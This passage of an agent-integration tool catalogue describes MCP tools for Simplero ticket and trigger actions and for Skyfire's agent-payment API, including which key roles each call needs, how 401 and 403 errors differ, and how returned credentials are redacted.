simplero_post_api_v2_tickets_by_id_actions_move_to_pipeline (write) — Move to pipeline (tickets) via POST /api/v2/tickets/{id}/actions/move_to_pipeline. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tickets/{id}/actions/move_to_pipeline. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_move_to_stage (write) — Move to pipeline stage (tickets) via POST /api/v2/tickets/{id}/actions/move_to_stage. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tickets/{id}/actions/move_to_stage. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_reassign (write) — Reassign (tickets) via POST /api/v2/tickets/{id}/actions/reassign. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tickets/{id}/actions/reassign. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_remove_facet (write) — Remove a facet via POST /api/v2/tickets/{id}/actions/remove_facet. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tickets/{id}/actions/remove_facet. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_remove_facet_values (write) — Remove facet values (tickets) via POST /api/v2/tickets/{id}/actions/remove_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/tickets/{id}/actions/remove_facet_values. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_resurrect (write) — Resurrect (tickets) via POST /api/v2/tickets/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/tickets/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_tickets_by_id_actions_unlock (write) — Unlock via POST /api/v2/tickets/{id}/actions/unlock. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/tickets/{id}/actions/unlock. Scopes: api. simplero_post_api_v2_triggers (write) — Create a trigger via POST /api/v2/triggers. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/triggers. Scopes: api. simplero_post_api_v2_triggers_by_id_actions_add_labels (write) — Add labels (triggers) via POST /api/v2/triggers/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/triggers/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_triggers_by_id_actions_delete (write, destructive) — Delete Trigger via POST /api/v2/triggers/{id}/actions/delete. Answers {"data": {...}}. DESTRUCTIVE: Delete Source / Delete Opening message -- a POST that deletes the record. POST /api/v1/simplero/api/v2/triggers/{id}/actions/delete. Scopes: api. simplero_post_api_v2_triggers_by_id_actions_duplicate (write) — Duplicate (triggers) via POST /api/v2/triggers/{id}/actions/duplicate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/triggers/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_triggers_by_id_actions_remove_label (write) — Remove label (triggers) via POST /api/v2/triggers/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/triggers/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_triggers_by_id_actions_resurrect (write) — Resurrect (triggers) via POST /api/v2/triggers/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/triggers/{id}/actions/resurrect. Scopes: api. ================================================================================ ## Skyfire URL: https://www.agenticfabriq.com/integrations/skyfire Section: Integrated Tools Skyfire — 19 MCP tools Provider key: skyfire. Scopes: agent, buyer_agent, organization_admin, seller_agent. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. skyfire_get_api_v1_agents_balance (read) — This agent's wallet: `available`, `heldAmount` (reserved by payment tokens that have not been charged or expired yet), `pendingCharges` and `pendingDeposits`. `available` is what a new payment token can still reserve, so read it before Mint a Skyfire token rather than reading a 402 afterwards. IT IS ALSO THIS INTEGRATION'S CREDENTIAL CHECK, and the only endpoint here whose REJECTION has been measured: 2026-09-24, and re-measured 2026-09-25, a bogus `skyfire-api-key` answered 401 NOT_AUTHORIZED "API Key Not Found" and omitting the header answered 401 NOT_AUTHORIZED "Invalid API Key" -- so the endpoint genuinely authenticates rather than answering 200 to anyone. What a REAL key answers has never been observed: no Skyfire credential existed when this integration shipped. NEEDS A BUYER AGENT KEY. A Seller agent key answers 401 here even though it is valid, and an Enterprise Admin user key is explicitly not for token or service operations, so it does not reach this either. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. GET /api/v1/skyfire/api/v1/agents/balance. Scopes: buyer_agent. skyfire_get_api_v1_agents_seller_services (read) — Every service this seller agent publishes, each with its `id`, `name`, `price`, `priceModel`, `minimumTokenAmount`, `tags`, `humanIdentityRequirement`, `termsOfService` and its `active`/`approved` flags. This is where a `sellerServiceId` for the other seller tools comes from. `approved: false` means Skyfire has not cleared the service yet, which is a different state from `active: false`. NEEDS A SELLER AGENT KEY. A Buyer agent key answers 401 here even though it is valid, and an Enterprise Admin user key is explicitly not for token or service operations, so it does not reach this either. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. GET /api/v1/skyfire/api/v1/agents/seller-services. Scopes: seller_agent. skyfire_get_api_v1_agents_seller_services_by_sellerserviceid (read) — One of this seller's services in full, including the identity requirement a buyer's KYA token must satisfy and the terms of service they must accept. Read it before Update a seller service: the update sends only the members named, and this is what says what they currently are. NEEDS A SELLER AGENT KEY. A Buyer agent key answers 401 here even though it is valid, and an Enterprise Admin user key is explicitly not for token or service operations, so it does not reach this either. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. GET /api/v1/skyfire/api/v1/agents/seller-services/{sellerServiceId}. Scopes: seller_agent. skyfire_get_api_v1_agents_source_ips (read) — The network allow-list on this agent, as a bare array of addresses. An empty array means Skyfire is not filtering by source address. READ THIS BEFORE Replace the agent's allowed source IPs, which overwrites the whole list. WORKS WITH EITHER AGENT KEY, Buyer or Seller: it is one of Skyfire's generic Agent APIs. An Enterprise Admin user key does NOT reach it -- an admin key manages organization users only. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. GET /api/v1/skyfire/api/v1/agents/source-ips. Scopes: agent. skyfire_get_api_v1_organizations_users (read) — Every user in this Skyfire organization, each with `email`, `isAdmin`, `orgMemberRole`, `isActive`, `createdAt` and their agents -- `agentId`, `agentType` (BUYER or SELLER) and each agent's blockchain `accounts`. CURSOR-PAGED with `pageSize` and `pageCursor`; `filter` narrows by one of `id`, `email`, `identifier`, `active`, `admin`, `orgMemberRole`. This is where a `userId` for the other organization tools comes from, and it is how an `isActive: false` user is found -- the cause of a 403 on a key that is otherwise perfectly valid. NEEDS AN ENTERPRISE ADMIN USER KEY, which is NOT self-service: Skyfire issues it after a signed contract (sales@skyfire.xyz, support@skyfire.xyz) rather than from the Agent Dashboard. Neither agent key reaches this, and an admin key does not reach the token or seller-service tools -- so an organization that wants both needs a second Agentic Fabriq connection holding the other key. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. GET /api/v1/skyfire/api/v1/organizations/users. Scopes: organization_admin. skyfire_get_api_v1_tokens_by_tokenid (read) — The charge history for one token: each entry carries `chargeId`, `claimId`, `value`, `network`, `chargedAt` and, once the chain has settled it, `settledAt`. CURSOR-PAGED -- pass the previous reply's `nextPageCursor` back as `pageCursor`, and a reply with no `nextPageCursor` is the last page. This reads charges; it does not make one. WORKS WITH EITHER AGENT KEY, Buyer or Seller: it is one of Skyfire's generic Agent APIs. An Enterprise Admin user key does NOT reach it -- an admin key manages organization users only. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. GET /api/v1/skyfire/api/v1/tokens/{tokenId}. Scopes: agent. skyfire_patch_api_v1_agents_seller_services_by_sellerserviceid (write) — Change a published service's name, tags, price, minimum token amount, accepted tokens or terms of service. No member is required: send only what is changing. NOTE THE TYPE CHANGE FROM THE CREATE: `acceptedTokens` is an ARRAY on Create a seller service and a plain STRING here -- that is what the reference declares, transcribed rather than corrected, because no credential existed to measure which one the live API takes. Answers 204 with no body, so read the service back to confirm the change. NEEDS A SELLER AGENT KEY. A Buyer agent key answers 401 here even though it is valid, and an Enterprise Admin user key is explicitly not for token or service operations, so it does not reach this either. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. PATCH /api/v1/skyfire/api/v1/agents/seller-services/{sellerServiceId}. Scopes: seller_agent. skyfire_patch_api_v1_organizations_users_by_userid_activate (write) — Reactivate a deactivated organization user, which is what restores every key they hold. This is the remedy for a 403 on a key that is otherwise valid -- pasting a new key does not fix that fault, because the key was never the problem. Answers 204 with no body. NEEDS AN ENTERPRISE ADMIN USER KEY, which is NOT self-service: Skyfire issues it after a signed contract (sales@skyfire.xyz, support@skyfire.xyz) rather than from the Agent Dashboard. Neither agent key reaches this, and an admin key does not reach the token or seller-service tools -- so an organization that wants both needs a second Agentic Fabriq connection holding the other key. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. PATCH /api/v1/skyfire/api/v1/organizations/users/{userId}/activate. Scopes: organization_admin. skyfire_patch_api_v1_organizations_users_by_userid_deactivate (write, destructive) — Deactivate an organization user. EVERY KEY THAT USER HOLDS STOPS WORKING, and it fails in a way that looks like something else: Skyfire answers 403 -- not 401 -- to an otherwise perfectly valid key whose organization user has been deactivated, so any Agentic Fabriq connection holding one of their agent keys begins failing and re-pasting the key will not fix it. Reversible with Activate an organization user. Answers 204 with no body; confirm with List organization users rather than trusting it. NEEDS AN ENTERPRISE ADMIN USER KEY, which is NOT self-service: Skyfire issues it after a signed contract (sales@skyfire.xyz, support@skyfire.xyz) rather than from the Agent Dashboard. Neither agent key reaches this, and an admin key does not reach the token or seller-service tools -- so an organization that wants both needs a second Agentic Fabriq connection holding the other key. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. PATCH /api/v1/skyfire/api/v1/organizations/users/{userId}/deactivate. Scopes: organization_admin. skyfire_post_api_v1_agents_seller_services (write) — Publish a new service for this seller agent: what it is, what it costs, and what identity a buyer must prove to use it. `price`/`priceModel` and `minimumTokenAmount` are the commercial terms every buyer's token is checked against, so a wrong `minimumTokenAmount` silently refuses legitimate buyers. ONE LEDGER DEFECT IS CORRECTED HERE: the reference lists `description` among the required members while declaring no schema for it, so it is declared as a string and kept required -- a required member with no type could not be sent at all. NEEDS A SELLER AGENT KEY. A Buyer agent key answers 401 here even though it is valid, and an Enterprise Admin user key is explicitly not for token or service operations, so it does not reach this either. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. POST /api/v1/skyfire/api/v1/agents/seller-services. Scopes: seller_agent. skyfire_post_api_v1_agents_seller_services_by_sellerserviceid_activate (write) — Put a service back on sale. It takes no body. ACTIVE IS NOT THE SAME AS APPROVED: a service Skyfire has not cleared stays unreachable to buyers with `approved: false` however often this is called. Answers 204 with no body. NEEDS A SELLER AGENT KEY. A Buyer agent key answers 401 here even though it is valid, and an Enterprise Admin user key is explicitly not for token or service operations, so it does not reach this either. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. POST /api/v1/skyfire/api/v1/agents/seller-services/{sellerServiceId}/activate. Scopes: seller_agent. skyfire_post_api_v1_agents_seller_services_by_sellerserviceid_deactivate (write, destructive) — Take a service off sale: buyers can no longer mint tokens against it and the seller stops earning from it. DESTRUCTIVE, and the ledger classifies it so, although it is REVERSIBLE with Activate a seller service -- what it destroys is availability, immediately and for every buyer, and Skyfire says nothing about what happens to payment tokens already outstanding against it. Confirm with Get a seller service rather than trusting the 204. NEEDS A SELLER AGENT KEY. A Buyer agent key answers 401 here even though it is valid, and an Enterprise Admin user key is explicitly not for token or service operations, so it does not reach this either. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. POST /api/v1/skyfire/api/v1/agents/seller-services/{sellerServiceId}/deactivate. Scopes: seller_agent. skyfire_post_api_v1_organizations_users (write) — Create a user in this Skyfire organization, together with a Buyer agent for them. `role` is `MEMBER` or `ADMIN`, and an `ADMIN` can create and deactivate other users -- read that field twice. THE REPLY CARRIES TWO LIVE CREDENTIALS AND AGENTIC FABRIQ REDACTS BOTH: Skyfire returns the new user's `userApiKey` and the new Buyer agent's `buyerAgent.apiKey`, and a tool result is copied into the model's context and into the audit trail. Each comes back as a marker instead. Skyfire shows a key only once, so the way to obtain them is to rotate that user's and that agent's keys in the Skyfire Dashboard -- nothing in this integration can recover the values it withheld. `userId` and `buyerAgent.id` are returned in full, which is everything the other organization tools need. NEEDS AN ENTERPRISE ADMIN USER KEY, which is NOT self-service: Skyfire issues it after a signed contract (sales@skyfire.xyz, support@skyfire.xyz) rather than from the Agent Dashboard. Neither agent key reaches this, and an admin key does not reach the token or seller-service tools -- so an organization that wants both needs a second Agentic Fabriq connection holding the other key. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. POST /api/v1/skyfire/api/v1/organizations/users. Scopes: organization_admin. skyfire_post_api_v1_organizations_users_by_userid_agents_seller (write) — Give an existing organization user a SELLER agent, so they can publish services and charge tokens. A Skyfire agent's role is fixed when the agent is created and cannot be changed, which is why a seller agent is created rather than a buyer agent converted. THE REPLY CARRIES THE NEW AGENT'S LIVE API KEY AND AGENTIC FABRIQ REDACTS IT, for the reason Create an organization user gives; the agent `id` comes back in full. Note what that means for reaching the seller tools: this Enterprise Admin key does not reach them, so the new agent's key -- rotated out of the Dashboard -- is pasted into a SECOND Agentic Fabriq connection. NEEDS AN ENTERPRISE ADMIN USER KEY, which is NOT self-service: Skyfire issues it after a signed contract (sales@skyfire.xyz, support@skyfire.xyz) rather than from the Agent Dashboard. Neither agent key reaches this, and an admin key does not reach the token or seller-service tools -- so an organization that wants both needs a second Agentic Fabriq connection holding the other key. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. POST /api/v1/skyfire/api/v1/organizations/users/{userId}/agents/seller. Scopes: organization_admin. skyfire_post_api_v1_organizations_users_by_userid_personal_data (write) — Attach personal data to an organization user -- legal name, date of birth, government identity documents, addresses, email addresses and phone numbers -- so their agents can satisfy a seller's `humanIdentityRequirement`. THIS IS THE MOST SENSITIVE WRITE IN THIS INTEGRATION: it sends identifying documents about a real person to Skyfire, and the arguments of the call are recorded in Agentic Fabriq's audit trail like every other call's. Send only what a named seller requirement actually asks for. Treated as REPLACING the record rather than merging into it: the reference publishes no merge semantics and none was measured, so send the whole record. Answers 204 with no body. NEEDS AN ENTERPRISE ADMIN USER KEY, which is NOT self-service: Skyfire issues it after a signed contract (sales@skyfire.xyz, support@skyfire.xyz) rather than from the Agent Dashboard. Neither agent key reaches this, and an admin key does not reach the token or seller-service tools -- so an organization that wants both needs a second Agentic Fabriq connection holding the other key. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. POST /api/v1/skyfire/api/v1/organizations/users/{userId}/personal-data. Scopes: organization_admin. skyfire_post_api_v1_tokens (write) — Mint a Skyfire token -- the ES256-signed JWT a buyer agent presents to a seller service. `type` chooses what it carries: identity (KYA), payment (PAY) or both (KYA+PAY). A payment token needs `tokenAmount` and RESERVES THAT AMOUNT against this agent's wallet, so this call moves money into escrow and a 402 means the wallet cannot cover it -- read the balance first. Name the counterparty with `sellerServiceId` or `sellerDomainOrUrl`. THE REPLY IS A BEARER CREDENTIAL FOR THE SELLER: whoever holds the returned `token` can claim up to `tokenAmount`, so treat it as a secret and do not log it. It is returned rather than redacted because presenting it to the seller is the entire purpose of the call. IT IS NOT AN OAUTH GRANT AND ITS `scope` CLAIM IS NOT AN OAUTH SCOPE: this is a request payload Skyfire mints and a third-party seller verifies against the JWKS at app.skyfire.xyz/.well-known/jwks.json. NEEDS A BUYER AGENT KEY. A Seller agent key answers 401 here even though it is valid, and an Enterprise Admin user key is explicitly not for token or service operations, so it does not reach this either. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. POST /api/v1/skyfire/api/v1/tokens. Scopes: buyer_agent. skyfire_post_api_v1_tokens_charge (write) — Redeem a buyer's payment token: the seller agent claims `chargeAmount` (or whatever the token still holds when it is omitted) and Skyfire answers `amountCharged` and `remainingBalance`. THIS TAKES THE BUYER'S MONEY, and this integration cannot undo it -- Skyfire publishes no refund endpoint in this ledger, so a mistaken charge is settled out of band. Introspect the token first: a charge above the remaining balance answers 402, and a token past its `chargeableUntil` is already dead. NEEDS A SELLER AGENT KEY. A Buyer agent key answers 401 here even though it is valid, and an Enterprise Admin user key is explicitly not for token or service operations, so it does not reach this either. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. POST /api/v1/skyfire/api/v1/tokens/charge. Scopes: seller_agent. skyfire_post_api_v1_tokens_introspect (read) — Validate a Skyfire token and read what it is still good for, without spending it. THE REPLY SHAPE DEPENDS ON THE TOKEN TYPE: an identity (KYA) token answers `{isValid, expiresAt}`; a payment (PAY or KYA+PAY) token also answers `remainingBalance` and `chargeableUntil`. When `isValid` is false the reason is in `validationError` -- read it rather than inferring one. This is the safe read to make before Charge a token. WORKS WITH EITHER AGENT KEY, Buyer or Seller: it is one of Skyfire's generic Agent APIs. An Enterprise Admin user key does NOT reach it -- an admin key manages organization users only. Skyfire reports a failure as `{"code": ..., "message": ...}`. A 401 HERE IS AS LIKELY TO BE THE WRONG KEY ROLE AS A BAD KEY: measured 2026-09-24 and re-measured 2026-09-25 against GET https://api.skyfire.xyz/api/v1/agents/balance, a bogus `skyfire-api-key` answers 401 `{"code":"NOT_AUTHORIZED","message":"API Key Not Found"}` and omitting the header answers 401 `{"code":"NOT_AUTHORIZED","message":"Invalid API Key"}` -- and a perfectly valid key of the wrong ROLE answers 401 too, because a Skyfire agent's role is fixed when the agent is created. A 403 is a different fault and pasting a new key will not fix it: it is the documented answer when the organization user behind an otherwise-valid key has been DEACTIVATED, and the remedy is reactivating that user. POST /api/v1/skyfire/api/v1/tokens/introspect. Scopes: agent. 